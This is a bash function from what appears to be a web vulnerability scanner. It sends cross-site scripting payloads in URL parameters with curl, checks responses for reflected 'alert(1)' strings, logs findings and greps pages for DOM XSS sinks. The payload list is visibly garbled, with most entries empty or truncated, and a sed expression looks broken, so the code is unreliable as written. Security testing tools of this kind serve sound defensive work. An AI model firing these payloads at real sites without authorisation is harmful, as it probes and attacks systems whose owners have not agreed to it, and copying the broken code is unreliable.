#!/usr/bin/env bash # Vector 02: Cross-Site Scripting (XSS) # Desc: Reflected, Stored, DOM-based XSS detection # Detect: Forms, search bars, URL parameters, comment sections # Severity: HIGH # Tools: curl, custom payloads vector_xss() { local target="$1" local report="$2" local findings=0 print_info "Testing XSS vectors..." local xss_payloads=( "" '">' "

" "';alert(1);//" "\">

" "" ) # Test URL parameters local url_params=$(echo "$target" | sed -n 's/.*[?&]$[^=]*$=.*/\1/p' | head -5) if [ -z "$url_params" ]; then # Test query parameter for payload in "${xss_payloads[@]}"; do local test_url="${target}?q=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${payload}'))" 2>/dev/null || echo "$payload")" local response=$(curl -s --connect-timeout 5 --max-time 10 "$test_url" 2>/dev/null) if echo "$response" | grep -qi "alert(1)\|onerror=alert(1)\|onload=alert(1)"; then print_find "Reflected XSS!" "Payload reflected: ${payload:0:30}... on $target" echo "SEVERITY: HIGH VECTOR: Cross-Site Scripting (Reflected) DETAIL: Reflected XSS confirmed with payload: $payload EVIDENCE: Payload echoed back in response EXPLOIT: " > "$REPORTS_DIR/.finding_$(date +%s)_xss.txt" findings=$((findings + 1)) break fi done else # Test each parameter for param in $url_params; do for payload in "${xss_payloads[@]}"; do local encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${payload}'))" 2>/dev/null || echo "$payload") local test_url=$(echo "$target" | sed "s/${param}=[^&]*/${param}=${encoded}/") local response=$(curl -s --connect-timeout 5 --max-time 10 "$test_url" 2>/dev/null) if echo "$response" | grep -qi "alert(1)\|onerror=alert(1)\|onload=alert(1)"; then print_find "Reflected XSS in parameter $param!" "Payload reflected: ${payload:0:30}..." echo "SEVERITY: HIGH VECTOR: Cross-Site Scripting (Reflected) DETAIL: Reflected XSS in parameter '$param' on $target EVIDENCE: Payload reflected in response EXPLOIT: " > "$REPORTS_DIR/.finding_$(date +%s)_xss-${param}.txt" findings=$((findings + 1)) break 2 fi done done fi # Check for DOM XSS indicators local page=$(curl -s --connect-timeout 5 --max-time 10 "$target" 2>/dev/null) if echo "$page" | grep -qiE 'document\.write\s*\(|innerHTML\s*=|eval\s*\(|location\.hash|location\.search'; then print_warn "Potential DOM XSS sinks detected in page source" print_info "Manual review recommended for DOM-based XSS" fi return $findings }